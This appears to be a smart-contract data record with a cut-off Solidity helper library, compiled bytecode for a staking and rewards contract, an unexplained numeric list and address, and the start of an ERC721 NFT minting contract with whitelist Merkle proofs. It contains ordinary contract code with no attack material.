IERC20(_bAsset).balanceOf(_recipient); receivedQty = recipientBalance - balBefore; } function safeInfiniteApprove(address _asset, address _spender) internal { IERC20(_asset).safeApprove(_spender, 0); IERC20(_asset).safeApprove(_spender, 2**256 - 1); } }
0x60806040523480156200001157600080fd5b5060043610620002cc5760003560e01c806380faa57d1162000185578063c891091311620000df578063df136d651162000092578063df136d6514620007e3578063e882025a14620007ed578063e9fad8ee14620007f7578063ebe2b12b1462000801578063f62aa975146200080b578063f9ce7d47146200083357600080fd5b8063c891091314620006b7578063c8f33c911462000768578063cd3daf9d1462000772578063cf7bf6b7146200077c578063d1af0c7d1462000793578063d1b812cd14620007bb57600080fd5b8063a3f5c1d21162000138578063a3f5c1d21462000625578063a694fc3a146200064d578063adc9772e1462000664578063b43082ec146200067b578063b88a802f14620006a3578063c5869a0614620006ad57600080fd5b806380faa57d1462000590578063845aef4b146200059a5780639065714714620005a5578063949813b814620005bc57806395d89b4114620005f45780639ed374f714620005fe57600080fd5b8063372500ab116200023757806363c2a20a11620001ea57806363c2a20a14620004ad57806367ba3d9014620004f457806369940d79146200050b57806370a08231146200053257806372f702f3146200055e5780637b0a47ee146200058657600080fd5b8063372500ab146200041057806338d3eb38146200041a5780633c6b16ab14620004425780633f2a55401462000459578063523993da1462000486578063594dd432146200049657600080fd5b80631976214311620002905780631976214314620003a45780631be0528914620003bd5780632056797114620003c85780632af9cc4114620003d25780632e1a7d4d14620003e9578063313ce567146200040057600080fd5b80628cc26214620002d157806306fdde0314620003025780630a6b433f146200031b57806312064c34146200036057806318160ddd146200039b575b600080fd5b620002e8620002e236600462002e50565b62000847565b604080519283526020830191909152015b60405180910390f35b6200030c62000923565b604051620002f9919062002fe3565b620003476200032c36600462002e50565b6043602052600090815260409020546001600160401b031681565b6040516001600160401b039091168152602001620002f9565b6200038c6200037136600462002e50565b6001600160a01b031660009081526038602052604090205490565b604051908152602001620002f9565b6036546200038c565b620003bb620003b536600462002e50565b620009bd565b005b6200034762093a8081565b6200038c603a5481565b620003bb620003e336600462002fa2565b620009e9565b620003bb620003fa36600462002f6e565b62000a2d565b60405160128152602001620002f9565b620003bb62000a55565b6200038c7f0000000000000000000000000000000000000000000000001bc16d674ec8000081565b620003bb6200045336600462002f6e565b62000a91565b6033546200046d906001600160a01b031681565b6040516001600160a01b039091168152602001620002f9565b62000347670494654067e1000081565b620003bb620004a736600462002fa2565b62000d5b565b620004c4620004be36600462002f1b565b62000d74565b604080516001600160401b0394851681529390921660208401526001600160801b031690820152606001620002f9565b6200038c6200050536600462002e50565b62000dc7565b7f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd26200046d565b6200038c6200054336600462002e50565b6001600160a01b031660009081526037602052604090205490565b6200046d7f00000000000000000000000036f944b7312eac89381bd78326df9c84691d8a5b81565b6200038c603c5481565b6200038c62000dfc565b6200038c62eff10081565b620003bb620005b636600462002e90565b62000e11565b620005d3620005cd36600462002e50565b62000fd6565b604080519485526020850193909352918301526060820152608001620002f9565b6200030c6200102c565b7f0000000000000000000000006243d8cea23066d098a15582d81a598b4e8391f46200046d565b6200046d7f000000000000000000000000afce80b19a8ce13dec0739a1aab7a028d6845eb381565b620003bb6200065e36600462002f6e565b6200103d565b620003bb6200067536600462002f1b565b62001056565b6200046d7f000000000000000000000000ba05fd2f20ae15b0d3f20ddc6870feca6acd359281565b620003bb6200106f565b6200038c60405481565b6200071c620006c836600462002e50565b6041602052600090815260409020805460018201546002909201546001600160801b0380831693600160801b93849004821693818316939104909116906001600160401b0380821691600160401b90041686565b604080516001600160801b039788168152958716602087015293861693850193909352931660608301526001600160401b0392831660808301529190911660a082015260c001620002f9565b6200038c603e5481565b620002e862001136565b620003bb6200078d36600462002e50565b62001152565b6200046d7f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd281565b6200046d7f0000000000000000000000006243d8cea23066d098a15582d81a598b4e8391f481565b6200038c603f5481565b6200038c603d5481565b620003bb6200119f565b6200038c603b5481565b6200038c7f000000000000000000000000000000000000000000000000000000000000000981565b6039546200046d906001600160a01b031681565b6000806000806200085762001136565b6001600160a01b038716600090815260416020526040812054929450909250906200088f9087906001600160801b03168584620011d4565b90506000620008a782670494654067e1000062001252565b6001600160a01b038816600090815260416020526040902054909150620008df90600160801b90046001600160801b03168262003046565b6001600160a01b038816600090815260416020526040902060019081015462000916918a916001600160801b0316908790620011d4565b9550955050505050915091565b606060348054620009349062003114565b80601f0160208091040260200160405190810160405280929190818152602001828054620009629062003114565b8015620009b35780601f106200098757610100808354040283529160200191620009b3565b820191906000526020600020905b8154815290600101906020018083116200099557829003601f168201915b5050505050905090565b620009c762001270565b603380546001600160a01b0319166001600160a01b0392909216919091179055565b33620009f581620012de565b3360008181526038602052604090205462000a1090620017f5565b62000a1c848462001897565b62000a278162001998565b50505050565b3362000a3981620012de565b3362000a4583620017f5565b62000a508162001998565b505050565b3362000a6181620012de565b3360008062000a703362001bc7565b9150915062000a80828262001897565b505062000a8d8162001998565b5050565b6033546001600160a01b0316331462000af15760405162461bcd60e51b815260206004820181905260248201527f43616c6c6572206973206e6f7420726577617264206469737472696275746f7260448201526064015b60405180910390fd5b600062000afe81620012de565b69d3c21bcecceda1000000821062000b6e5760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f74206e6f746966792077697468206d6f7265207468616e2061206d60448201526b696c6c696f6e20756e69747360a01b606482015260840162000ae8565b6040516370a0823160e01b81523060048201526000907f0000000000000000000000006243d8cea23066d098a15582d81a598b4e8391f46001600160a01b0316906370a082319060240160206040518083038186803b15801562000bd157600080fd5b505afa15801562000be6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c0c919062002f88565b9050801562000c515760395462000c51906001600160a01b037f0000000000000000000000006243d8cea23066d098a15582d81a598b4e8391f4811691168362001c14565b603b544290811062000c875762000c6c62093a808562003086565b603c5562000c7e62093a808362003086565b603d5562000d05565b600081603b5462000c999190620030cb565b90506000603c548262000cad9190620030a9565b905062093a8062000cbf828862003046565b62000ccb919062003086565b603c55603d5460009062000ce09084620030a9565b905062093a8062000cf2828762003046565b62000cfe919062003086565b603d555050505b603e81905562000d1962093a808262003046565b603b5560408051858152602081018490527f6c07ee05dcf262f13abf9d87b846ee789d2f90fe991d495acd7d7fc109ee1f55910160405180910390a150505050565b3362000d6781620012de565b3362000a1c848462001897565b6042602052816000526040600020818154811062000d9157600080fd5b6000918252602090912001546001600160401b038082169350600160401b8204169150600160801b90046001600160801b031683565b6001600160a01b038116600090815260386020908152604080832054603790925282205462000df69162001c79565b92915050565b600062000e0c42603b5462001c9c565b905090565b600054610100900460ff168062000e275750303b155b8062000e36575060005460ff16155b62000e9b5760405162461bcd60e51b815260206004820152602e60248201527f436f6e747261637420696e7374616e63652068617320616c726561647920626560448201526d195b881a5b9a5d1a585b1a5e995960921b606482015260840162000ae8565b600054610100900460ff1615801562000ebe576000805461ffff19166101011790555b62000ec986620009c7565b62000f3e85858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8901819004810282018101909252878152925087915086908190840183828082843760009201919091525062001cb392505050565b7f0000000000000000000000006243d8cea23066d098a15582d81a598b4e8391f460405162000f6d9062002d5b565b6001600160a01b039091168152602001604051809103906000f08015801562000f9a573d6000803e3d6000fd5b50603980546001600160a01b0319166001600160a01b0392909216919091179055801562000fce576000805461ff00191690555b505050505050565b60008060008062000fe78562001bc7565b9093509150600062000ffb86858562001cf7565b5090506000806200100c8862000847565b90925090506200101d828462003046565b96508093505050509193509193565b606060358054620009349062003114565b336200104981620012de565b3362000a45338462002083565b816200106281620012de565b8262000a1c848462002083565b336200107b81620012de565b33600081815260416020526040902080546001600160801b03808216909255600160801b9004168015620010df57620010df6001600160a01b037f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd216338362001c14565b6000620010eb6200218a565b604080518481526020810183905291925033917fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f51910160405180910390a2505062000a8d8162001998565b6000806000806200114662002215565b50909590945092505050565b806200115e81620012de565b60405182906001600160a01b038216907fa31b3b303c759fa7ee31d89a1a6fb7eb704d8fe5c87aa4f60f54468ff121bee890600090a262000a508162001998565b33620011ab81620012de565b33600081815260386020526040902054620011c690620017f5565b60008062000a703362001bc7565b600080620011e38585620030cb565b905080620011f65760009150506200124a565b6000836200121d576001600160a01b03871660009081526037602052604090205462001237565b6001600160a01b0387166000908152603860205260409020545b905062001245818362001252565b925050505b949350505050565b6000620012698383670de0b6b3a76400006200231e565b9392505050565b6200127a62002339565b6001600160a01b0316336001600160a01b031614620012dc5760405162461bcd60e51b815260206004820152601960248201527f4f6e6c7920676f7665726e6f722063616e206578656375746500000000000000604482015260640162000ae8565b565b426000620012ec82620023d0565b90506000806000620012fd62002215565b9250925092506000831180620013135750600082115b15620017a657603f8390556040829055603e8190556001600160a01b03861615620017a0576001600160a01b0386166000908152604160209081526040808320815160c08101835281546001600160801b03808216808452600160801b9283900482169684019690965260018401548082169584019590955293049092166060830152600201546001600160401b038082166080840152600160401b9091041660a08201529190620013c99089908784620011d4565b90506000620013e98984604001516001600160801b0316876001620011d4565b90508115620016875760006200140883670494654067e1000062001252565b90506000620014188285620030cb565b9050604260008c6001600160a01b03166001600160a01b0316815260200190815260200160002060405180606001604052806200147288608001516001600160401b031662eff1006200146c919062003046565b620023d0565b6001600160401b03168152602001620014936200146c8e62eff10062003046565b6001600160401b03168152602001620014d288608001516001600160401b03168e620014c09190620030cb565b620014cc908662003086565b6200243e565b6001600160801b0390811690915282546001810184556000938452602093849020835191018054948401516040948501518416600160801b026001600160401b03918216600160401b026001600160801b031990971691909316179490941790911617909155805160c08101909152806200154d8a6200243e565b6001600160801b031681526020016200157a87602001516001600160801b031685620014cc919062003046565b6001600160801b0316815260200162001593896200243e565b6001600160801b03168152602001620015ac856200243e565b8760600151620015bd919062003018565b6001600160801b031681526020018a6001600160401b031681526020018660a001516001620015ed919062003061565b6001600160401b039081169091526001600160a01b038d166000908152604160209081526040918290208451918501516001600160801b03928316600160801b9184168202178255928501516060860151908316921690920217600182015560808301516002909101805460a0909401519183166001600160801b031990941693909317600160401b9190921602179055506200179c9050565b6040518060c001604052806200169d886200243e565b6001600160801b0316815260200184602001516001600160801b03168152602001620016c9876200243e565b6001600160801b03168152602001620016e2836200243e565b8560600151620016f3919062003018565b6001600160801b0390811682526001600160401b03808b1660208085019190915260a08089015183166040958601526001600160a01b038f166000908152604183528590208651928701518516600160801b90810293861693909317815594860151606087015185169092029190931617600184015560808401516002909301805494909201518116600160401b026001600160801b0319949094169216919091179190911790555b5050505b62000fce565b6001600160a01b0386161562000fce576001600160a01b038616600090815260416020526040902060020180546001600160401b03861667ffffffffffffffff19909116179055505050505050565b600081116200183b5760405162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015260640162000ae8565b6200184681620024a9565b80603a60008282546200185a9190620030cb565b909155505060405181815233907f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d59060200160405180910390a250565b600080620018a733858562001cf7565b336000908152604360209081526040808320805467ffffffffffffffff19166001600160401b0386161790556041909152812080546001600160801b03808216909255939550919350600160801b909204169062001906828562003046565b905080156200194557620019456001600160a01b037f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd216338362001c14565b6000620019516200218a565b604080518481526020810183905291925033917fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f51910160405180910390a250505050505050565b6001600160a01b03811660009081526038602090815260408083205460379092528220549091670de0b6b3a76400009081620019f57f0000000000000000000000000000000000000000000000001bc16d674ec8000086620030a9565b62001a01919062003086565b9050670de0b6b3a7640000811062001ac95760405163f8b2cb4f60e01b81526001600160a01b0386811660048301526000917f000000000000000000000000ba05fd2f20ae15b0d3f20ddc6870feca6acd35929091169063f8b2cb4f90602401602060405180830381600087803b15801562001a7c57600080fd5b505af115801562001a91573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001ab7919062002f88565b905062001ac5828262002584565b9250505b600062001ad7858462001252565b905083811462000fce57808460365462001af29190620030cb565b62001afe919062003046565b6036556001600160a01b03861660009081526037602052604090208190558381111562001b75576001600160a01b03861660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62001b5e8785620030cb565b60405190815260200160405180910390a362000fce565b60006001600160a01b0387167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62001bae8488620030cb565b60405190815260200160405180910390a3505050505050565b6001600160a01b03811660009081526043602052604081205481906001600160401b03168162001bf8828662002690565b9050600062001c07866200279c565b9196919550909350505050565b6040516001600160a01b03831660248201526044810182905262000a5090849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152620028a1565b60008162001c90670de0b6b3a764000085620030a9565b62001269919062003086565b600081831162001cad578262001269565b50919050565b62001ccc6033805460ff60a01b1916600160a01b179055565b815162001ce190603490602085019062002d69565b50805162000a5090603590602084019062002d69565b6001600160a01b0383166000908152604360209081526040808320546042909252822054829142916001600160401b03909116908615801562001d38575085155b1562001da25780158062001d8c57506001600160a01b0388166000908152604260205260408120805490919062001d735762001d736200317f565b6000918252602090912001546001600160401b03168311155b1562001da257600083945094505050506200207b565b861562001e69576001600160a01b038816600090815260426020526040902062001dce600189620030cb565b8154811062001de15762001de16200317f565b6000918252602090912001546001600160401b03600160401b9091048116908316101562001e695760405162461bcd60e51b815260206004820152602e60248201527f496e76616c6964205f6669727374206172673a204d75737420636c61696d206560448201526d61726c69657220656e747269657360901b606482015260840162000ae8565b600062001e778888620030cb565b62001e8490600162003046565b905060005b818110156200201d57600062001ea0828b62003046565b6001600160a01b038c166000908152604260205260408120805492935090918390811062001ed25762001ed26200317f565b60009182526020918290206040805160608101825292909101546001600160401b03808216808552600160401b830490911694840194909452600160801b90046001600160801b0316908201529150871080159062001f47575080602001516001600160401b0316866001600160401b031611155b62001f855760405162461bcd60e51b815260206004820152600d60248201526c092dcecc2d8d2c840cae0dec6d609b1b604482015260640162000ae8565b600062001fa082602001516001600160401b03168962001c9c565b9050600062001fc683600001516001600160401b0316896001600160401b03166200297a565b9050600083604001516001600160801b0316828462001fe69190620030cb565b62001ff29190620030a9565b905062002000818d62003046565b9b505050505050808062002014906200314b565b91505062001e89565b506001600160a01b03891660009081526042602052604090208054620020749186918a9081106200205257620020526200317f565b600091825260209091200154600160401b90046001600160401b031662001c9c565b9450505050505b935093915050565b60008111620020c65760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015260640162000ae8565b6001600160a01b0382166200211e5760405162461bcd60e51b815260206004820152601b60248201527f496e76616c69642062656e656669636961727920616464726573730000000000604482015260640162000ae8565b6200212a828262002992565b80603a60008282546200213e919062003046565b9091555050604080518281523360208201526001600160a01b038416917f9f9e4044c5742cca66ca090b21552bac14645e68bad7a92364a9d9ff18111a1c910160405180910390a25050565b33600090815260416020526040812060010154600160801b90046001600160801b03168015620022105733600081815260416020526040902060010180546001600160801b0316905560395462002210916001600160a01b037f0000000000000000000000006243d8cea23066d098a15582d81a598b4e8391f481169216908462002a78565b919050565b6000806000806200222562000dfc565b90506000603e5482620022399190620030cb565b905080620022545750603f5460405490959094509092509050565b600081603c54620022669190620030a9565b9050600082603d546200227a9190620030a9565b90506200228660365490565b15806200229b5750811580156200229b575080155b15620022b757603f546040548596509650965050505050909192565b6000620022cf620022c760365490565b849062001c79565b90506000620022ea603a548462001c7990919063ffffffff16565b905081603f54620022fc919062003046565b816040546200230c919062003046565b87985098509850505050505050909192565b6000816200232d8486620030a9565b6200124a919062003086565b60007f000000000000000000000000afce80b19a8ce13dec0739a1aab7a028d6845eb36001600160a01b0316630c340a246040518163ffffffff1660e01b815260040160206040518083038186803b1580156200239557600080fd5b505afa158015620023aa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e0c919062002e70565b60006001600160401b038211156200243a5760405162461bcd60e51b815260206004820152602660248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203660448201526534206269747360d01b606482015260840162000ae8565b5090565b60006001600160801b038211156200243a5760405162461bcd60e51b815260206004820152602760248201527f53616665436173743a2076616c756520646f65736e27742066697420696e20316044820152663238206269747360c81b606482015260840162000ae8565b603354600160a01b900460ff16620025045760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640162000ae8565b6033805460ff60a01b19169055336000908152603860205260408120805483929062002532908490620030cb565b909155506200256e90506001600160a01b037f00000000000000000000000036f944b7312eac89381bd78326df9c84691d8a5b16338362001c14565b506033805460ff60a01b1916600160a01b179055565b6000816200259c5750670de0b6b3a764000062000df6565b6000620025b7620025b185620f4240620030a9565b62002ab2565b90506000620025c68262002ab2565b90506000620025d68284620030a9565b905080600a7f00000000000000000000000000000000000000000000000000000000000000096200261288697f0e10af47c1c700000062001c9c565b6200261e9190620030a9565b6200262a919062003086565b6200263e90670de0b6b3a7640000620030a9565b6200264a919062003086565b9350620026866729a2241af62c000062002680670de0b6b3a76400006200267a88670d99a8cec7e2000062003046565b6200297a565b62001c9c565b9695505050505050565b6001600160a01b03811660009081526042602052604081205480620026ba57600091505062000df6565b600080620026ca600184620030cb565b905060005b60808110156200279157818310620026e75762002791565b60006002620026f7848662003046565b6200270490600162003046565b62002710919062003086565b6001600160a01b0388166000908152604260205260409020805491925090829081106200274157620027416200317f565b6000918252602090912001546001600160401b0390811690891611156200276b578093506200277b565b62002778600182620030cb565b92505b508062002788816200314b565b915050620026cf565b509095945050505050565b6001600160a01b03811660009081526042602052604081205480620027c45750600092915050565b600080620027d4600184620030cb565b905060005b60808110156200289757818310620027f15762002897565b6000600262002801848662003046565b6200280e90600162003046565b6200281a919062003086565b6001600160a01b0388166000908152604260205260409020805491925090829081106200284b576200284b6200317f565b6000918252602090912001546001600160401b0316421115620028715780935062002881565b6200287e600182620030cb565b92505b50806200288e816200314b565b915050620027d9565b5090949350505050565b6000620028f8826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031662002c539092919063ffffffff16565b80519091501562000a50578080602001905181019062002919919062002f4a565b62000a505760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840162000ae8565b60008183116200298b578162001269565b5090919050565b603354600160a01b900460ff16620029ed5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640162000ae8565b6033805460ff60a01b191690556001600160a01b0382166000908152603860205260408120805483929062002a2490849062003046565b9091555062002a6190506001600160a01b037f00000000000000000000000036f944b7312eac89381bd78326df9c84691d8a5b1633308462002a78565b50506033805460ff60a01b1916600160a01b179055565b6040516001600160a01b038085166024830152831660448201526064810182905262000a279085906323b872dd60e01b9060840162001c41565b60008162002ac257506000919050565b816001600160801b821062002adc5760809190911c9060401b5b600160401b821062002af35760409190911c9060201b5b640100000000821062002b0b5760209190911c9060101b5b62010000821062002b215760109190911c9060081b5b610100821062002b365760089190911c9060041b5b6010821062002b4a5760049190911c9060021b5b6008821062002b575760011b5b600162002b65828662003086565b62002b71908362003046565b901c9050600162002b83828662003086565b62002b8f908362003046565b901c9050600162002ba1828662003086565b62002bad908362003046565b901c9050600162002bbf828662003086565b62002bcb908362003046565b901c9050600162002bdd828662003086565b62002be9908362003046565b901c9050600162002bfb828662003086565b62002c07908362003046565b901c9050600162002c19828662003086565b62002c25908362003046565b901c9050600062002c37828662003086565b905080821062002c48578062002c4a565b815b95945050505050565b60606200124a848460008585843b62002caf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640162000ae8565b600080866001600160a01b0316858760405162002ccd919062002fc5565b60006040518083038185875af1925050503d806000811462002d0c576040519150601f19603f3d011682016040523d82523d6000602084013e62002d11565b606091505b5091509150620012458282866060831562002d2e57508162001269565b82511562002d3f5782518084602001fd5b8160405162461bcd60e51b815260040162000ae8919062002fe3565b610b7180620031af83390190565b82805462002d779062003114565b90600052602060002090601f01602090048101928262002d9b576000855562002de6565b82601f1062002db657805160ff191683800117855562002de6565b8280016001018555821562002de6579182015b8281111562002de657825182559160200191906001019062002dc9565b506200243a9291505b808211156200243a576000815560010162002def565b60008083601f84011262002e1857600080fd5b5081356001600160401b0381111562002e3057600080fd5b60208301915083602082850101111562002e4957600080fd5b9250929050565b60006020828403121562002e6357600080fd5b8135620012698162003195565b60006020828403121562002e8357600080fd5b8151620012698162003195565b60008060008060006060868803121562002ea957600080fd5b853562002eb68162003195565b945060208601356001600160401b038082111562002ed357600080fd5b62002ee189838a0162002e05565b9096509450604088013591508082111562002efb57600080fd5b5062002f0a8882890162002e05565b969995985093965092949392505050565b6000806040838503121562002f2f57600080fd5b823562002f3c8162003195565b946020939093013593505050565b60006020828403121562002f5d57600080fd5b815180151581146200126957600080fd5b60006020828403121562002f8157600080fd5b5035919050565b60006020828403121562002f9b57600080fd5b5051919050565b6000806040838503121562002fb657600080fd5b50508035926020909101359150565b6000825162002fd9818460208701620030e5565b9190910192915050565b602081526000825180602084015262003004816040850160208701620030e5565b601f01601f19169190910160400192915050565b60006001600160801b038083168185168083038211156200303d576200303d62003169565b01949350505050565b600082198211156200305c576200305c62003169565b500190565b60006001600160401b038083168185168083038211156200303d576200303d62003169565b600082620030a457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620030c657620030c662003169565b500290565b600082821015620030e057620030e062003169565b500390565b60005b8381101562003102578181015183820152602001620030e8565b8381111562000a275750506000910152565b600181811c908216806200312957607f821691505b6020821081141562001cad57634e487b7160e01b600052602260045260246000fd5b600060001982141562003162576200316262003169565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114620031ab57600080fd5b5056fe60c06040523480156200001157600080fd5b5060405162000b7138038062000b718339810160408190526200003491620004af565b33606081811b60a05282901b6001600160601b031916608052620000669082906200006d602090811b6200010617901c565b506200057a565b62000093816000846001600160a01b0316620000be60201b62000135179092919060201c565b620000ba81600019846001600160a01b0316620000be60201b62000135179092919060201c565b5050565b8015806200014c5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b1580156200010f57600080fd5b505afa15801562000124573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014a9190620004da565b155b620001c45760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e63650000000000000000000060648201526084015b60405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b0390811663095ea7b360e01b179091526200021c9185916200022116565b505050565b60006200027d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316620002ff60201b62000285179092919060201c565b8051909150156200021c57808060200190518101906200029e91906200048b565b6200021c5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401620001bb565b60606200031084846000856200031a565b90505b9392505050565b6060824710156200037d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401620001bb565b843b620003cd5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401620001bb565b600080866001600160a01b03168587604051620003eb9190620004f4565b60006040518083038185875af1925050503d80600081146200042a576040519150601f19603f3d011682016040523d82523d6000602084013e6200042f565b606091505b509092509050620004428282866200044d565b979650505050505050565b606083156200045e57508162000313565b8251156200046f5782518084602001fd5b8160405162461bcd60e51b8152600401620001bb919062000512565b6000602082840312156200049e57600080fd5b815180151581146200031357600080fd5b600060208284031215620004c257600080fd5b81516001600160a01b03811681146200031357600080fd5b600060208284031215620004ed57600080fd5b5051919050565b600082516200050881846020870162000547565b9190910192915050565b60208152600082518060208401526200053381604085016020870162000547565b601f01601f19169190910160400192915050565b60005b83811015620005645781810151838201526020016200054a565b8381111562000574576000848401525b50505050565b60805160601c60a05160601c6105c1620005b060003960008181604b015260e0015260008181608e015260bf01526105c16000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c8063488a49e314610046578063d1b812cd14610089578063d8245bb9146100b0575b600080fd5b61006d7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200160405180910390f35b61006d7f000000000000000000000000000000000000000000000000000000000000000081565b6100b86100ba565b005b6101047f00000000000000000000000000000000000000000000000000000000000000007f0000000000000000000000000000000000000000000000000000000000000000610106565b565b61011b6001600160a01b038316826000610135565b6101316001600160a01b03831682600019610135565b5050565b8015806101be5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561018457600080fd5b505afa158015610198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101bc91906104f3565b155b61022e5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b60648201526084015b60405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261028090849061029e565b505050565b60606102948484600085610370565b90505b9392505050565b60006102f3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166102859092919063ffffffff16565b805190915015610280578080602001905181019061031191906104d1565b6102805760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610225565b6060824710156103d15760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610225565b843b61041f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610225565b600080866001600160a01b0316858760405161043b919061050c565b60006040518083038185875af1925050503d8060008114610478576040519150601f19603f3d011682016040523d82523d6000602084013e61047d565b606091505b509150915061048d828286610498565b979650505050505050565b606083156104a7575081610297565b8251156104b75782518084602001fd5b8160405162461bcd60e51b81526004016102259190610528565b6000602082840312156104e357600080fd5b8151801515811461029757600080fd5b60006020828403121561050557600080fd5b5051919050565b6000825161051e81846020870161055b565b9190910192915050565b602081526000825180602084015261054781604085016020870161055b565b601f01601f19169190910160400192915050565b60005b8381101561057657818101518382015260200161055e565b83811115610585576000848401525b5050505056fea2646970667358221220c9d86f13adf5bf81a5ce95c24520a33da218e6862a5b4ae8f22e4d9da6b9856664736f6c63430008060033a26469706673582212209984406660f503b32b450e4a9aab60631a75739ad90d75c267c8b1a1679d04d864736f6c63430008060033
[ 13, 4, 9, 7 ]
0xF2A2FEB8daFeBdCb24c95e6Abf3623AD8Da14e79
// SPDX-License-Identifier: MIT pragma solidity >=0.8.9 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Octotokesreef is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721(_tokenName, _tokenSymbol) { cost = _cost; maxSupply = _maxSupply; maxMintAmountPerTx = _maxMintAmountPerTx; setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, "The whitelist sale is not enabled!"); require(!whitelistClaimed[msg.sender], "Address already claimed!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!"); whitelistClaimed[msg.sender] = true; _mintLoop(msg.sender, _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, "The contract is paused!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 